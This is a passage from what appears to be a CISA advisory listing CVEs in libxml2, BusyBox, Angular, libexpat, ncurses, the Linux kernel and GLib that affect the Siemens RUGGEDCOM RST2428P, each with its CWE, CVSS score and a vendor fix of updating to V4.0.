<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/825.html">CWE-825 Expired Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.1</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-49795</a></h3>
<div class="csaf-accordion-content">
<p>A NULL pointer dereference vulnerability was found in libxml2 when processing XPath XML expressions. This flaw allows an attacker to craft a malicious XML input to libxml2, leading to a denial of service.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-49795">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/825.html">CWE-825 Expired Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-49796</a></h3>
<div class="csaf-accordion-content">
<p>A vulnerability was found in libxml2. Processing certain sch:name elements from the input XML file can trigger a memory corruption issue. This flaw allows an attacker to craft a malicious XML input file that can lead libxml to crash, resulting in a denial of service or other possible undefined behavior due to sensitive data being corrupted in memory.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-49796">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.1</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-60876</a></h3>
<div class="csaf-accordion-content">
<p>BusyBox wget thru 1.3.7 accepted raw CR (0x0D)/LF (0x0A) and other C0 control bytes in the HTTP request-target (path/query), allowing the request line to be split and attacker-controlled headers to be injected. To preserve the HTTP/1.1 request-line shape METHOD SP request-target SP HTTP/1.1, a raw space (0x20) in the request-target must also be rejected (clients should use %20).</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-60876">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/284.html">CWE-284 Improper Access Control</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-66035</a></h3>
<div class="csaf-accordion-content">
<p>Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to versions 19.2.16, 20.3.14, and 21.0.1, there is a XSRF token leakage via protocol-relative URLs in angular HTTP clients. The vulnerability is a Credential Leak by App Logic that leads to the unauthorized disclosure of the Cross-Site Request Forgery (XSRF) token to an attacker-controlled domain. Angular's HttpClient has a built-in XSRF protection mechanism that works by checking if a request URL starts with a protocol (http:// or https://) to determine if it is cross-origin. If the URL starts with protocol-relative URL (//), it is incorrectly treated as a same-origin request, and the XSRF token is automatically added to the X-XSRF-TOKEN header. This issue has been patched in versions 19.2.16, 20.3.14, and 21.0.1. A workaround for this issue involves avoiding using protocol-relative URLs (URLs starting with //) in HttpClient requests. All backend communication URLs should be hardcoded as relative paths (starting with a single /) or fully qualified, trusted absolute URLs.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-66035">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/201.html">CWE-201 Insertion of Sensitive Information Into Sent Data</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.6</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-66382</a></h3>
<div class="csaf-accordion-content">
<p>In libexpat through 2.7.3, a crafted file with an approximate size of 2 MiB can lead to dozens of seconds of processing time.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-66382">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/407.html">CWE-407 Inefficient Algorithmic Complexity</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>2.9</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L">CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-66412</a></h3>
<div class="csaf-accordion-content">
<p>Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 21.0.2, 20.3.15, and 19.2.17, A Stored Cross-Site Scripting (XSS) vulnerability has been identified in the Angular Template Compiler. It occurs because the compiler's internal security schema is incomplete, allowing attackers to bypass Angular's built-in security sanitization. Specifically, the schema fails to classify certain URL-holding attributes (e.g., those that could contain javascript: URLs) as requiring strict URL security, enabling the injection of malicious scripts. This vulnerability is fixed in 21.0.2, 20.3.15, and 19.2.17.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-66412">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/79.html">CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-69720</a></h3>
<div class="csaf-accordion-content">
<p>The infocmp command-line tool in ncurses before 6.5-20251213 has a stack-based buffer overflow in analyze_string in progs/infocmp.c.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-69720">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/121.html">CWE-121 Stack-based Buffer Overflow</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.3</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L">CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71185</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dmaengine: ti: dma-crossbar: fix device leak on am335x route allocation Make sure to drop the reference taken when looking up the crossbar platform device during am335x route allocation.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71185">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71186</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dmaengine: stm32: dmamux: fix device leak on route allocation Make sure to drop the reference taken when looking up the DMA mux platform device during route allocation. Note that holding a reference to a device does not prevent its driver data from going away so there is no point in keeping the reference.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71186">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71188</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dmaengine: lpc18xx-dmamux: fix device leak on route allocation Make sure to drop the reference taken when looking up the DMA mux platform device during route allocation. Note that holding a reference to a device does not prevent its driver data from going away so there is no point in keeping the reference.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71188">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71189</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dmaengine: dw: dmamux: fix OF node leak on route allocation failure Make sure to drop the reference taken to the DMA master OF node also on late route allocation failures.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71189">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71190</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dmaengine: bcm-sba-raid: fix device leak on probe Make sure to drop the reference taken when looking up the mailbox device during probe on probe failures and on driver unbind.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71190">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71191</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dmaengine: at_hdmac: fix device leak on of_dma_xlate() Make sure to drop the reference taken when looking up the DMA platform device during of_dma_xlate() when releasing channel resources. Note that commit 3832b78b3ec2 ("dmaengine: at_hdmac: add missing put_device() call in at_dma_xlate()") fixed the leak in a couple of error paths but the reference is still leaking on successful allocation.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71191">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-1484</a></h3>
<div class="csaf-accordion-content">
<p>A flaw was found in the GLib Base64 encoding routine when processing very large input data. Due to incorrect use of integer types during length calculation, the library may miscalculate buffer boundaries. This can cause memory writes outside the allocated buffer. Applications that process untrusted or extremely large Base64 input using GLib may crash or behave unpredictably.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-1484">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.2</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:L">CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-1489</a></h3>
<div class="csaf-accordion-content">
<p>A flaw was found in GLib. An integer overflow vulnerability in its Unicode case conversion implementation can lead to memory corruption. By processing specially crafted and extremely large Unicode strings, an attacker could trigger an undersized memory allocation, resulting in out-of-bounds writes. This could cause applications utilizing GLib for string conversion to crash or become unstable.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-1489">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
